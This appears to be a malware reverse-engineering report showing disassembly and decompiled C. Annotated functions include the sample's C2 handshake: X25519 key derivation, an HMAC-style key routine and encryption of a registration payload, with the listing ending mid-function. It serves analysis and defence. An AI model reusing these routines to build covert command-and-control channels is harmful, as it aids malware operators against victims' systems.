004100b6e8 3f d8 ff ffCALL FUN_0040d8fa
004100bbba 06 00 00 00MOV EDX,0x6
004100c048 8d 35 fa 7d 01 00LEA RSI,[DAT_00427ec1]
004100c7bf a5 01 00 00MOV EDI,0x1a5
004100cce8 29 d8 ff ffCALL FUN_0040d8fa
004100d1ba 04 00 00 00MOV EDX,0x4
004100d648 8d 35 eb 7d 01 00LEA RSI,[DAT_00427ec8]
004100ddbf a6 01 00 00MOV EDI,0x1a6
004100e2e8 13 d8 ff ffCALL FUN_0040d8fa
004100e7ba 09 00 00 00MOV EDX,0x9
004100ec48 8d 35 da 7d 01 00LEA RSI,[DAT_00427ecd]
004100f3bf a7 01 00 00MOV EDI,0x1a7
004100f8e8 fd d7 ff ffCALL FUN_0040d8fa
004100fdba 07 00 00 00MOV EDX,0x7
0041010248 8d 35 ce 7d 01 00LEA RSI,[DAT_00427ed7]
00410109bf a8 01 00 00MOV EDI,0x1a8
0041010ee8 e7 d7 ff ffCALL FUN_0040d8fa
00410113ba 06 00 00 00MOV EDX,0x6
0041011848 8d 35 c0 7d 01 00LEA RSI,[DAT_00427edf]
0041011fbf a9 01 00 00MOV EDI,0x1a9
00410124e8 d1 d7 ff ffCALL FUN_0040d8fa
00410129ba 04 00 00 00MOV EDX,0x4
0041012e48 8d 35 b1 7d 01 00LEA RSI,[DAT_00427ee6]
00410135bf aa 01 00 00MOV EDI,0x1aa
0041013ae8 bb d7 ff ffCALL FUN_0040d8fa
0041013fba 04 00 00 00MOV EDX,0x4
0041014448 8d 35 a0 7d 01 00LEA RSI,[DAT_00427eeb]
0041014bbf ab 01 00 00MOV EDI,0x1ab
00410150e8 a5 d7 ff ffCALL FUN_0040d8fa
00410155ba 04 00 00 00MOV EDX,0x4
0041015a48 8d 35 8f 7d 01 00LEA RSI,[DAT_00427ef0]
00410161bf ac 01 00 00MOV EDI,0x1ac
00410166e8 8f d7 ff ffCALL FUN_0040d8fa
0041016bba 04 00 00 00MOV EDX,0x4
0041017048 8d 35 7e 7d 01 00LEA RSI,[DAT_00427ef5]
00410177bf ad 01 00 00MOV EDI,0x1ad
0041017ce8 79 d7 ff ffCALL FUN_0040d8fa
00410181ba 0c 00 00 00MOV EDX,0xc
0041018648 8d 35 6d 7d 01 00LEA RSI,[DAT_00427efa]
0041018dbf ae 01 00 00MOV EDI,0x1ae
00410192e8 63 d7 ff ffCALL FUN_0040d8fa
00410197ba 05 00 00 00MOV EDX,0x5
0041019c48 8d 35 81 81 01 00LEA RSI,[DAT_00428324]
004101a3bf af 01 00 00MOV EDI,0x1af
004101a8e8 4d d7 ff ffCALL FUN_0040d8fa
004101adba 0b 00 00 00MOV EDX,0xb
004101b248 8d 35 4e 7d 01 00LEA RSI,[DAT_00427f07]
004101b9bf b0 01 00 00MOV EDI,0x1b0
004101bee8 37 d7 ff ffCALL FUN_0040d8fa
004101c3ba 14 00 00 00MOV EDX,0x14
004101c848 8d 35 44 7d 01 00LEA RSI,[DAT_00427f13]
004101cfbf b1 01 00 00MOV EDI,0x1b1
004101d4e8 21 d7 ff ffCALL FUN_0040d8fa
004101d9ba 10 00 00 00MOV EDX,0x10
004101de48 8d 35 43 7d 01 00LEA RSI,[DAT_00427f28]
004101e5bf b2 01 00 00MOV EDI,0x1b2
004101eae8 0b d7 ff ffCALL FUN_0040d8fa
004101efba 08 00 00 00MOV EDX,0x8
004101f448 8d 35 3e 7d 01 00LEA RSI,[DAT_00427f39]
004101fbbf b3 01 00 00MOV EDI,0x1b3
00410200e8 f5 d6 ff ffCALL FUN_0040d8fa
00410205ba 05 00 00 00MOV EDX,0x5
0041020a48 8d 35 31 7d 01 00LEA RSI,[DAT_00427f42]
00410211bf b4 01 00 00MOV EDI,0x1b4
00410216e8 df d6 ff ffCALL FUN_0040d8fa
0041021bba 04 00 00 00MOV EDX,0x4
00410220bf b5 01 00 00MOV EDI,0x1b5
0041022548 8d 35 32 70 01 00LEA RSI,[DAT_0042725e]
0041022ce8 c9 d6 ff ffCALL FUN_0040d8fa
00410231ba 09 00 00 00MOV EDX,0x9
00410236bf b6 01 00 00MOV EDI,0x1b6
0041023b48 8d 2d 06 7d 01 00LEA RBP,[DAT_00427f48]
0041024248 89 eeMOV RSI,RBP
00410245e8 b0 d6 ff ffCALL FUN_0040d8fa
0041024aba 09 00 00 00MOV EDX,0x9
0041024f48 89 eeMOV RSI,RBP
00410252bf b7 01 00 00MOV EDI,0x1b7
00410257e8 9e d6 ff ffCALL FUN_0040d8fa
0041025cba 05 00 00 00MOV EDX,0x5
00410261bf b8 01 00 00MOV EDI,0x1b8
0041026648 8d 35 e5 7c 01 00LEA RSI,[DAT_00427f52]
0041026de8 88 d6 ff ffCALL FUN_0040d8fa
00410272ba 17 00 00 00MOV EDX,0x17
00410277bf b9 01 00 00MOV EDI,0x1b9
0041027c48 8d 35 d5 7c 01 00LEA RSI,[DAT_00427f58]
00410283e8 72 d6 ff ffCALL FUN_0040d8fa
00410288ba 0a 00 00 00MOV EDX,0xa
0041028dbf ba 01 00 00MOV EDI,0x1ba
0041029248 8d 35 d7 7c 01 00LEA RSI,[DAT_00427f70]
00410299e8 5c d6 ff ffCALL FUN_0040d8fa
0041029eba 50 00 00 00MOV EDX,0x50
004102a3bf bb 01 00 00MOV EDI,0x1bb
004102a848 8d 35 cc 7c 01 00LEA RSI,[DAT_00427f7b]
004102afe8 46 d6 ff ffCALL FUN_0040d8fa
004102b4ba 18 00 00 00MOV EDX,0x18
004102b9bf bc 01 00 00MOV EDI,0x1bc
004102be48 8d 35 07 7d 01 00LEA RSI,[DAT_00427fcc]
004102c5e8 30 d6 ff ffCALL FUN_0040d8fa
004102caba 14 00 00 00MOV EDX,0x14
004102cfbf bd 01 00 00MOV EDI,0x1bd
004102d448 8d 35 4f 80 01 00LEA RSI,[DAT_0042832a]
004102dbe8 1a d6 ff ffCALL FUN_0040d8fa
004102e0ba 31 00 00 00MOV EDX,0x31
004102e5bf be 01 00 00MOV EDI,0x1be
004102ea48 8d 35 4e 80 01 00LEA RSI,[DAT_0042833f]
004102f1e8 04 d6 ff ffCALL FUN_0040d8fa
004102f6ba 19 00 00 00MOV EDX,0x19
004102fbbf bf 01 00 00MOV EDI,0x1bf
0041030048 8d 35 de 7c 01 00LEA RSI,[DAT_00427fe5]
00410307e8 ee d5 ff ffCALL FUN_0040d8fa
0041030cba 20 00 00 00MOV EDX,0x20
00410311bf c0 01 00 00MOV EDI,0x1c0
0041031648 8d 35 e2 7c 01 00LEA RSI,[DAT_00427fff]
0041031de8 d8 d5 ff ffCALL FUN_0040d8fa
00410322ba 1a 00 00 00MOV EDX,0x1a
00410327bf c1 01 00 00MOV EDI,0x1c1
0041032c48 8d 35 ed 7c 01 00LEA RSI,[DAT_00428020]
00410333e8 c2 d5 ff ffCALL FUN_0040d8fa
00410338ba 17 00 00 00MOV EDX,0x17
0041033dbf c2 01 00 00MOV EDI,0x1c2
0041034248 8d 35 f2 7c 01 00LEA RSI,[DAT_0042803b]
00410349e8 ac d5 ff ffCALL FUN_0040d8fa
0041034eba 11 00 00 00MOV EDX,0x11
00410353bf c3 01 00 00MOV EDI,0x1c3
0041035848 8d 35 12 80 01 00LEA RSI,[DAT_00428371]
0041035fe8 96 d5 ff ffCALL FUN_0040d8fa
00410364ba 12 00 00 00MOV EDX,0x12
00410369bf c4 01 00 00MOV EDI,0x1c4
0041036e48 8d 35 de 7c 01 00LEA RSI,[DAT_00428053]
00410375e8 80 d5 ff ffCALL FUN_0040d8fa
0041037aba 10 00 00 00MOV EDX,0x10
0041037fbf c5 01 00 00MOV EDI,0x1c5
0041038448 8d 35 db 7c 01 00LEA RSI,[DAT_00428066]
0041038be8 6a d5 ff ffCALL FUN_0040d8fa
00410390ba 0c 00 00 00MOV EDX,0xc
00410395bf c6 01 00 00MOV EDI,0x1c6
0041039a48 8d 35 d6 7c 01 00LEA RSI,[DAT_00428077]
004103a1e8 54 d5 ff ffCALL FUN_0040d8fa
004103a6ba 12 00 00 00MOV EDX,0x12
004103abbf c7 01 00 00MOV EDI,0x1c7
004103b048 8d 35 cd 7c 01 00LEA RSI,[DAT_00428084]
004103b7e8 3e d5 ff ffCALL FUN_0040d8fa
004103bcba 05 00 00 00MOV EDX,0x5
004103c1bf c8 01 00 00MOV EDI,0x1c8
004103c648 8d 35 ca 7c 01 00LEA RSI,[DAT_00428097]
004103cde8 28 d5 ff ffCALL FUN_0040d8fa
004103d2ba 08 00 00 00MOV EDX,0x8
004103d7bf c9 01 00 00MOV EDI,0x1c9
004103dc48 8d 35 ba 7c 01 00LEA RSI,[DAT_0042809d]
004103e3e8 12 d5 ff ffCALL FUN_0040d8fa
004103e8ba 04 00 00 00MOV EDX,0x4
004103edbf ca 01 00 00MOV EDI,0x1ca
004103f248 8d 35 ad 7c 01 00LEA RSI,[DAT_004280a6]
004103f9e8 fc d4 ff ffCALL FUN_0040d8fa
004103feba 03 00 00 00MOV EDX,0x3
00410403bf cb 01 00 00MOV EDI,0x1cb
0041040848 8d 35 9c 7c 01 00LEA RSI,[DAT_004280ab]
0041040fe8 e6 d4 ff ffCALL FUN_0040d8fa
00410414ba 13 00 00 00MOV EDX,0x13
00410419bf cc 01 00 00MOV EDI,0x1cc
0041041e48 8d 35 8a 7c 01 00LEA RSI,[DAT_004280af]
00410425e8 d0 d4 ff ffCALL FUN_0040d8fa
0041042aba 07 00 00 00MOV EDX,0x7
0041042fbf cd 01 00 00MOV EDI,0x1cd
0041043448 8d 35 88 7c 01 00LEA RSI,[DAT_004280c3]
0041043be8 ba d4 ff ffCALL FUN_0040d8fa
00410440ba 04 00 00 00MOV EDX,0x4
00410445bf ce 01 00 00MOV EDI,0x1ce
0041044a48 8d 35 7a 7c 01 00LEA RSI,[DAT_004280cb]
00410451e8 a4 d4 ff ffCALL FUN_0040d8fa
00410456ba 6f 00 00 00MOV EDX,0x6f
0041045bbf cf 01 00 00MOV EDI,0x1cf
0041046048 8d 35 1c 7f 01 00LEA RSI,[DAT_00428383]
00410467e8 8e d4 ff ffCALL FUN_0040d8fa
0041046cba 50 00 00 00MOV EDX,0x50
00410471bf d0 01 00 00MOV EDI,0x1d0
0041047648 8d 35 76 7f 01 00LEA RSI,[DAT_004283f3]
0041047de8 78 d4 ff ffCALL FUN_0040d8fa
00410482ba 75 00 00 00MOV EDX,0x75
00410487bf d1 01 00 00MOV EDI,0x1d1
0041048c48 8d 35 3d 7c 01 00LEA RSI,[DAT_004280d0]
00410493e8 62 d4 ff ffCALL FUN_0040d8fa
00410498ba 65 00 00 00MOV EDX,0x65
0041049dbf d2 01 00 00MOV EDI,0x1d2
004104a248 8d 35 9d 7c 01 00LEA RSI,[DAT_00428146]
004104a9e8 4c d4 ff ffCALL FUN_0040d8fa
004104aeba 7d 00 00 00MOV EDX,0x7d
004104b3bf d3 01 00 00MOV EDI,0x1d3
004104b848 8d 35 85 7f 01 00LEA RSI,[DAT_00428444]
004104bfe8 36 d4 ff ffCALL FUN_0040d8fa
004104c4ba 0b 00 00 00MOV EDX,0xb
004104c9bf d4 01 00 00MOV EDI,0x1d4
004104ce48 8d 35 d7 7c 01 00LEA RSI,[DAT_004281ac]
004104d5e8 20 d4 ff ffCALL FUN_0040d8fa
004104daba 10 00 00 00MOV EDX,0x10
004104dfbf d5 01 00 00MOV EDI,0x1d5
004104e448 8d 35 cd 7c 01 00LEA RSI,[DAT_004281b8]
004104ebe8 0a d4 ff ffCALL FUN_0040d8fa
004104f0ba 1f 00 00 00MOV EDX,0x1f
004104f5bf d6 01 00 00MOV EDI,0x1d6
004104fa48 8d 35 c8 7c 01 00LEA RSI,[DAT_004281c9]
00410501e8 f4 d3 ff ffCALL FUN_0040d8fa
00410506ba 14 00 00 00MOV EDX,0x14
0041050bbf d7 01 00 00MOV EDI,0x1d7
0041051048 8d 35 d2 7c 01 00LEA RSI,[DAT_004281e9]
00410517e8 de d3 ff ffCALL FUN_0040d8fa
0041051cba 0b 00 00 00MOV EDX,0xb
00410521bf d8 01 00 00MOV EDI,0x1d8
0041052648 8d 35 d1 7c 01 00LEA RSI,[DAT_004281fe]
0041052de8 c8 d3 ff ffCALL FUN_0040d8fa
00410532ba 17 00 00 00MOV EDX,0x17
00410537bf d9 01 00 00MOV EDI,0x1d9
0041053c48 8d 35 c7 7c 01 00LEA RSI,[DAT_0042820a]
00410543e8 b2 d3 ff ffCALL FUN_0040d8fa
00410548ba 1d 00 00 00MOV EDX,0x1d
0041054dbf da 01 00 00MOV EDI,0x1da
0041055248 8d 35 69 7f 01 00LEA RSI,[DAT_004284c2]
00410559e8 9c d3 ff ffCALL FUN_0040d8fa
0041055eba 03 00 00 00MOV EDX,0x3
00410563bf db 01 00 00MOV EDI,0x1db
0041056848 8d 35 b3 7c 01 00LEA RSI,[DAT_00428222]
0041056fe8 86 d3 ff ffCALL FUN_0040d8fa
0041057448 8b 05 75 e1 21 00MOV RAX,qword ptr [DAT_0062e6f0]
0041057b48 8b 88 40 16 00 00MOV RCX,qword ptr [RAX + 0x1640]
0041058248 85 c9TEST RCX,RCX
0041058574 17JZ LAB_0041059e
004105878b 90 48 16 00 00MOV EDX,dword ptr [RAX + 0x1648]
0041058d85 d2TEST EDX,EDX
0041058f7e 0dJLE LAB_0041059e
0041059148 89 88 f0 0b 00 00MOV qword ptr [RAX + 0xbf0],RCX
0041059889 90 f8 0b 00 00MOV dword ptr [RAX + 0xbf8],EDX
LAB_0041059e:
0041059e48 8b b0 e0 04 00 00MOV RSI,qword ptr [RAX + 0x4e0]
004105a54c 8b 90 20 10 00 00MOV R10,qword ptr [RAX + 0x1020]
004105ac48 85 f6TEST RSI,RSI
004105af74 63JZ LAB_00410614
004105b14d 85 d2TEST R10,R10
004105b474 5eJZ LAB_00410614
004105b68b 88 e8 04 00 00MOV ECX,dword ptr [RAX + 0x4e8]
004105bc8b 90 28 10 00 00MOV EDX,dword ptr [RAX + 0x1028]
004105c285 c9TEST ECX,ECX
004105c47e 4eJLE LAB_00410614
004105c685 d2TEST EDX,EDX
004105c87e 4aJLE LAB_00410614
004105ca44 8d 41 01LEA R8D,[RCX + 0x1]
004105ce46 8d 1c 02LEA R11D,[RDX + R8*0x1]
004105d241 83 fb 0fCMP R11D,0xf
004105d67f 3cJG LAB_00410614
004105d84c 8d 0d 21 e0 21 00LEA R9,[DAT_0062e600]
004105df48 63 d9MOVSXD RBX,ECX
004105e24d 63 c0MOVSXD R8,R8D
004105e589 c9MOV ECX,ECX
004105e74c 89 cfMOV RDI,R9
004105ea4d 01 c8ADD R8,R9
004105edf3 a4MOVSB.REP RDI,RSI
004105ef89 d1MOV ECX,EDX
004105f149 63 d3MOVSXD RDX,R11D
004105f441 c6 04 19 2fMOV byte ptr [R9 + RBX*0x1],0x2f
004105f94c 89 c7MOV RDI,R8
004105fc4c 89 d6MOV RSI,R10
004105fff3 a4MOVSB.REP RDI,RSI
0041060141 c6 04 11 00MOV byte ptr [R9 + RDX*0x1],0x0
004106064c 89 88 c0 0f 00 00MOV qword ptr [RAX + 0xfc0],R9
0041060d44 89 98 c8 0f 00 00MOV dword ptr [RAX + 0xfc8],R11D
LAB_00410614:
0041061458POP RAX
004106155bPOP RBX
004106165dPOP RBP
0041061741 5cPOP R12
0041061941 5dPOP R13
0041061b41 5ePOP R14
0041061d41 5fPOP R15
0041061fe9 5f aa ff ffJMP FUN_0040b083

derives the C2 peer X25519 public key…

0x41136192 bytes
undefined FUN_00411361()

derives the C2 peer X25519 public key from 32 embedded bytes (hash, clamp, base-point multiply)

Cited as
E16, E31
Behaviours
B6
Called from
FUN_00411a32, FUN_00411ca1
Calls
FUN_00411056, FUN_00411241, FUN_004122e0, FUN_00412374
Decompiled C · 15 lines
void FUN_00411361(byte *param_1,undefined8 param_2)

{
  undefined1 auStack_38 [32];
  
  FUN_004122e0(auStack_38);
  FUN_00411241(auStack_38,0x20,param_1);
  FUN_00412374(auStack_38,0x20);
  *param_1 = *param_1 & 0xf8;
  param_1[0x1f] = param_1[0x1f] & 0x7f | 0x40;
  FUN_00411056(param_2,param_1);
  return;
}

Assembly · 29 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
0041136141 55PUSH R13; E16; E31
0041136341 54PUSH R12
0041136549 89 f4MOV R12,RSI
0041136855PUSH RBP
0041136948 89 fdMOV RBP,RDI
0041136c48 83 ec 20SUB RSP,0x20
0041137049 89 e5MOV R13,RSP
004113734c 89 efMOV RDI,R13
00411376e8 65 0f 00 00CALL FUN_004122e0
0041137b48 89 eaMOV RDX,RBP
0041137e4c 89 efMOV RDI,R13
00411381be 20 00 00 00MOV ESI,0x20
00411386e8 b6 fe ff ffCALL FUN_00411241
0041138b4c 89 efMOV RDI,R13
0041138ebe 20 00 00 00MOV ESI,0x20
00411393e8 dc 0f 00 00CALL FUN_00412374
004113988a 45 1fMOV AL,byte ptr [RBP + 0x1f]
0041139b80 65 00 f8AND byte ptr [RBP],0xf8
0041139f48 89 eeMOV RSI,RBP
004113a24c 89 e7MOV RDI,R12
004113a583 e0 7fAND EAX,0x7f
004113a883 c8 40OR EAX,0x40
004113ab88 45 1fMOV byte ptr [RBP + 0x1f],AL
004113aee8 a3 fc ff ffCALL FUN_00411056
004113b348 83 c4 20ADD RSP,0x20
004113b75dPOP RBP
004113b841 5cPOP R12
004113ba41 5dPOP R13
004113bcc3RET

unknown

0x411824253 bytes
undefined unknown()
Cited as
E16
Behaviours
B6
Called from
FUN_00411944
Calls
FUN_00411241
Decompiled C · 95 lines
undefined8
unknown(undefined4 *param_1,undefined8 param_2,undefined1 *param_3,ulong param_4,long param_5)

{
  long lVar1;
  ulong uVar2;
  byte *pbVar3;
  undefined4 *puVar4;
  byte bVar5;
  undefined4 local_238;
  undefined4 uStack_234;
  undefined4 uStack_230;
  undefined4 uStack_22c;
  undefined4 local_228;
  undefined4 uStack_224;
  undefined4 uStack_220;
  undefined4 uStack_21c;
  byte local_218 [64];
  byte local_1d8 [64];
  undefined4 local_198;
  undefined4 uStack_194;
  undefined4 uStack_190;
  undefined4 uStack_18c;
  undefined4 local_188;
  undefined4 uStack_184;
  undefined4 uStack_180;
  undefined4 uStack_17c;
  undefined4 local_178 [8];
  undefined4 local_158 [16];
  undefined4 local_118;
  undefined4 uStack_114;
  undefined4 uStack_110;
  undefined4 uStack_10c;
  undefined4 local_108;
  undefined4 uStack_104;
  undefined4 uStack_100;
  undefined4 uStack_fc;
  
  bVar5 = 0;
  if (param_5 != 0) {
    local_188 = param_1[4];
    uStack_184 = param_1[5];
    uStack_180 = param_1[6];
    uStack_17c = param_1[7];
    local_198 = *param_1;
    uStack_194 = param_1[1];
    uStack_190 = param_1[2];
    uStack_18c = param_1[3];
    puVar4 = local_178;
    for (lVar1 = 8; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = 0;
      puVar4 = puVar4 + 1;
    }
    lVar1 = 0;
    do {
      local_1d8[lVar1] = *(byte *)((long)&local_198 + lVar1) ^ 0x5c;
      local_218[lVar1] = *(byte *)((long)&local_198 + lVar1) ^ 0x36;
      lVar1 = lVar1 + 1;
    } while (lVar1 != 0x40);
    pbVar3 = local_218;
    puVar4 = local_158;
    for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + 4;
      puVar4 = puVar4 + 1;
    }
    puVar4 = &local_118;
    for (uVar2 = param_4 & 0xffffffff; uVar2 != 0; uVar2 = uVar2 - 1) {
      *(undefined1 *)puVar4 = *param_3;
      param_3 = param_3 + 1;
      puVar4 = (undefined4 *)((long)puVar4 + 1);
    }
    FUN_00411241(local_158,param_4 + 0x40,&local_238);
    pbVar3 = local_1d8;
    puVar4 = local_158;
    for (lVar1 = 0x10; lVar1 != 0; lVar1 = lVar1 + -1) {
      *puVar4 = *(undefined4 *)pbVar3;
      pbVar3 = pbVar3 + ((ulong)bVar5 * -2 + 1) * 4;
      puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
    }
    local_118 = local_238;
    uStack_114 = uStack_234;
    uStack_110 = uStack_230;
    uStack_10c = uStack_22c;
    local_108 = local_228;
    uStack_104 = uStack_224;
    uStack_100 = uStack_220;
    uStack_fc = uStack_21c;
    FUN_00411241(local_158,0x60,param_5);
    return 0;
  }
  return 0xffffffff;
}

Assembly · 65 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
004118244d 85 c0TEST R8,R8; E16
004118270f 84 f0 00 00 00JZ LAB_0041191d
0041182d41 54PUSH R12
0041182f49 89 faMOV R10,RDI
0041183231 c0XOR EAX,EAX
0041183449 89 d1MOV R9,RDX
0041183755PUSH RBP
0041183848 89 caMOV RDX,RCX
0041183bb9 08 00 00 00MOV ECX,0x8
004118404d 89 c4MOV R12,R8
0041184353PUSH RBX
0041184448 81 ec 20 02 00 00SUB RSP,0x220
0041184b41 0f 10 02MOVUPS XMM0,xmmword ptr [R10]
0041184f41 0f 10 4a 10MOVUPS XMM1,xmmword ptr [R10 + 0x10]
0041185448 8d b4 24 c0 00 00 00LEA RSI,[RSP + 0xc0]
0041185c48 89 f7MOV RDI,RSI
0041185f0f 11 84 24 a0 00 00 00MOVUPS xmmword ptr [RSP + local_198[0]],XMM0
00411867f3 abSTOSD.REP RDI
004118690f 11 8c 24 b0 00 00 00MOVUPS xmmword ptr [RSP + local_188[0]],XMM1
0041187131 c0XOR EAX,EAX
LAB_00411873:
004118738a 8c 04 a0 00 00 00MOV CL,byte ptr [RSP + RAX*0x1 + local_198[1]]
0041187a48 8d 74 24 20LEA RSI,[RSP + 0x20]
0041187f48 8d 5c 24 60LEA RBX,[RSP + 0x60]
0041188489 cfMOV EDI,ECX
0041188683 f1 5cXOR ECX,0x5c
0041188983 f7 36XOR EDI,0x36
0041188c88 4c 04 60MOV byte ptr [RSP + RAX*0x1 + local_1d7],CL
0041189040 88 7c 04 20MOV byte ptr [RSP + RAX*0x1 + local_217],DIL
0041189548 ff c0INC RAX
0041189848 83 f8 40CMP RAX,0x40
0041189c75 d5JNZ LAB_00411873
0041189e48 8d 84 24 20 01 00 00LEA RAX,[RSP + 0x120]
004118a6b9 10 00 00 00MOV ECX,0x10
004118ab49 89 e0MOV R8,RSP
004118ae48 8d bc 24 e0 00 00 00LEA RDI,[RSP + 0xe0]
004118b648 8d ac 24 e0 00 00 00LEA RBP,[RSP + 0xe0]
004118bef3 a5MOVSD.REP RDI,RSI
004118c048 89 c7MOV RDI,RAX
004118c34c 89 ceMOV RSI,R9
004118c689 d1MOV ECX,EDX
004118c8f3 a4MOVSB.REP RDI,RSI
004118ca48 8d 72 40LEA RSI,[RDX + 0x40]
004118ce48 89 efMOV RDI,RBP
004118d14c 89 c2MOV RDX,R8
004118d4e8 68 f9 ff ffCALL FUN_00411241
004118d948 89 efMOV RDI,RBP
004118dc48 89 deMOV RSI,RBX
004118dfb9 10 00 00 00MOV ECX,0x10
004118e4f3 a5MOVSD.REP RDI,RSI
004118e60f 10 14 24MOVUPS XMM2,xmmword ptr [RSP]
004118ea0f 10 5c 24 10MOVUPS XMM3,xmmword ptr [RSP + local_228[0]]
004118ef4c 89 e2MOV RDX,R12
004118f248 89 efMOV RDI,RBP
004118f5be 60 00 00 00MOV ESI,0x60
004118fa0f 11 94 24 20 01 00 00MOVUPS xmmword ptr [RSP + local_118[0]],XMM2
004119020f 11 9c 24 30 01 00 00MOVUPS xmmword ptr [RSP + local_108[0]],XMM3
0041190ae8 32 f9 ff ffCALL FUN_00411241
0041190f48 81 c4 20 02 00 00ADD RSP,0x220
0041191631 c0XOR EAX,EAX
004119185bPOP RBX
004119195dPOP RBP
0041191a41 5cPOP R12
0041191cc3RET
LAB_0041191d:
0041191d83 c8 ffOR EAX,0xffffffff
00411920c3RET

C2 session hello

0x411a32587 bytes
undefined FUN_00411a32()

C2 session hello: X25519 ephemeral key, shared secret, key expansion, encrypts the registration payload

Cited as
E16, E31
Behaviours
B6
Called from
FUN_004132d0
Calls
FUN_0040d5e3, FUN_00410c5b, FUN_00411056, FUN_00411361, FUN_004113bd, FUN_0041159e, FUN_004122c9, FUN_00412374
Decompiled C · 116 lines
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

int FUN_00411a32(long param_1,ulong param_2,ulong param_3,long param_4,long param_5)

{
  undefined1 *puVar1;
  byte *pbVar2;
  undefined4 uVar3;
  undefined4 uVar4;
  undefined4 uVar5;
  undefined4 uVar6;
  undefined1 uVar7;
  long lVar8;
  byte bVar9;
  int iVar10;
  undefined4 *puVar11;
  undefined8 *puVar12;
  byte bVar13;
  long local_d0;
  undefined8 local_c4;
  undefined4 local_bc;
  undefined1 local_b8 [32];
  undefined1 local_98 [32];
  undefined4 local_78 [8];
  undefined1 local_58 [40];
  
  bVar13 = 0;
  if (param_1 == 0) {
    return -1;
  }
  if (((param_4 != 0) && (param_5 - 1U < 200)) && (param_3 < param_2)) {
    DAT_0062e703 = '\0';
    puVar1 = (undefined1 *)(param_1 + param_3);
    iVar10 = 8;
    do {
      FUN_0040d5e3(&DAT_0062e711,0x20);
      DAT_0062e711 = DAT_0062e711 & 0xf8;
      DAT_0062e730 = DAT_0062e730 & 0x7f | 0x40;
      FUN_00411056(&DAT_0062e731,&DAT_0062e711);
      lVar8 = 0;
      bVar9 = 0;
      do {
        pbVar2 = &DAT_0062e731 + lVar8;
        lVar8 = lVar8 + 1;
        bVar9 = bVar9 | *pbVar2;
      } while (lVar8 != 0x20);
    } while ((bVar9 == 0) && (iVar10 = iVar10 + -1, iVar10 != 0));
    lVar8 = 0;
    bVar9 = 0;
    do {
      pbVar2 = &DAT_0062e731 + lVar8;
      lVar8 = lVar8 + 1;
      bVar9 = bVar9 | *pbVar2;
    } while (lVar8 != 0x20);
    if (bVar9 == 0) {
      DAT_0062e703 = '\x01';
      puVar11 = (undefined4 *)&DAT_0062e731;
      for (lVar8 = 8; lVar8 != 0; lVar8 = lVar8 + -1) {
        *puVar11 = 0;
        puVar11 = puVar11 + (ulong)bVar13 * -2 + 1;
      }
    }
    FUN_00411361(local_98,local_b8);
    if (DAT_0062e703 == '\0') {
      FUN_00410c5b(local_78,&DAT_0062e711,local_b8);
    }
    else {
      puVar11 = local_78;
      for (lVar8 = 8; lVar8 != 0; lVar8 = lVar8 + -1) {
        *puVar11 = 0;
        puVar11 = puVar11 + (ulong)bVar13 * -2 + 1;
      }
    }
    FUN_004113bd(local_78,0x20,*(undefined8 *)(DAT_0062e6f0 + 0x1960),
                 (long)*(int *)(DAT_0062e6f0 + 0x1968),local_58,0x20);
    puVar12 = &local_c4;
    for (lVar8 = 3; lVar8 != 0; lVar8 = lVar8 + -1) {
      *(undefined4 *)puVar12 = 0;
      puVar12 = (undefined8 *)((long)puVar12 + (ulong)bVar13 * -8 + 4);
    }
    if (param_5 + 0x3dU <= param_2 - param_3) {
      uVar7 = FUN_004122c9(0);
      *puVar1 = uVar7;
      uVar5 = uRam000000000062e73d;
      uVar4 = uRam000000000062e739;
      uVar3 = DAT_0062e735;
      *(undefined4 *)(puVar1 + 1) = _DAT_0062e731;
      *(undefined4 *)(puVar1 + 5) = uVar3;
      *(undefined4 *)(puVar1 + 9) = uVar4;
      *(undefined4 *)(puVar1 + 0xd) = uVar5;
      uVar6 = uRam000000000062e74d;
      uVar5 = uRam000000000062e749;
      uVar4 = uRam000000000062e745;
      uVar3 = _DAT_0062e741;
      *(undefined8 *)(puVar1 + 0x21) = local_c4;
      *(undefined4 *)(puVar1 + 0x11) = uVar3;
      *(undefined4 *)(puVar1 + 0x15) = uVar4;
      *(undefined4 *)(puVar1 + 0x19) = uVar5;
      *(undefined4 *)(puVar1 + 0x1d) = uVar6;
      *(undefined4 *)(puVar1 + 0x29) = local_bc;
      local_d0 = (param_2 - param_3) - 0x2d;
      iVar10 = FUN_0041159e(puVar1 + 0x2d,&local_d0,param_4,param_5,&DAT_0062e731,0x20);
      if (iVar10 == 0) {
        DAT_0062e704 = 1;
        iVar10 = (int)local_d0 + 0x2d;
        FUN_00412374(local_78,0x20,local_58,&local_c4);
        FUN_00412374(local_58,0x20);
        FUN_00412374(local_98,0x20);
        return iVar10 + (int)param_3;
      }
    }
  }
  return -1;
}

Assembly · 154 instructions, 1 annotated, 1 cited
AddressBytesInstructionComment
00411a3248 85 ffTEST RDI,RDI; E16; E31
00411a350f 84 3e 02 00 00JZ LAB_00411c79
00411a3b41 57PUSH R15
00411a3d41 56PUSH R14
00411a3f49 89 ceMOV R14,RCX
00411a4241 55PUSH R13
00411a4441 54PUSH R12
00411a4655PUSH RBP
00411a4753PUSH RBX
00411a4848 81 ec c8 00 00 00SUB RSP,0xc8
00411a4f48 85 c9TEST RCX,RCX
00411a5275 08JNZ LAB_00411a5c
LAB_00411a54:
00411a5483 c8 ffOR EAX,0xffffffff
00411a57e9 0b 02 00 00JMP LAB_00411c67
LAB_00411a5c:
00411a5c49 8d 40 ffLEA RAX,[R8 + -0x1]
00411a604d 89 c5MOV R13,R8
00411a6348 3d c7 00 00 00CMP RAX,0xc7
00411a6977 e9JA LAB_00411a54
00411a6b48 89 d5MOV RBP,RDX
00411a6e48 39 f2CMP RDX,RSI
00411a7173 e1JNC LAB_00411a54
00411a7348 29 d6SUB RSI,RDX
00411a76c6 05 86 cc 21 00 00MOV byte ptr [DAT_0062e703],0x0
00411a7d48 8d 1c 17LEA RBX,[RDI + RDX*0x1]
00411a814c 8d 3d 89 cc 21 00LEA R15,[DAT_0062e711]
00411a8848 89 74 24 08MOV qword ptr [RSP + local_f0],RSI
00411a8dba 08 00 00 00MOV EDX,0x8
LAB_00411a92:
00411a92be 20 00 00 00MOV ESI,0x20
00411a974c 89 ffMOV RDI,R15
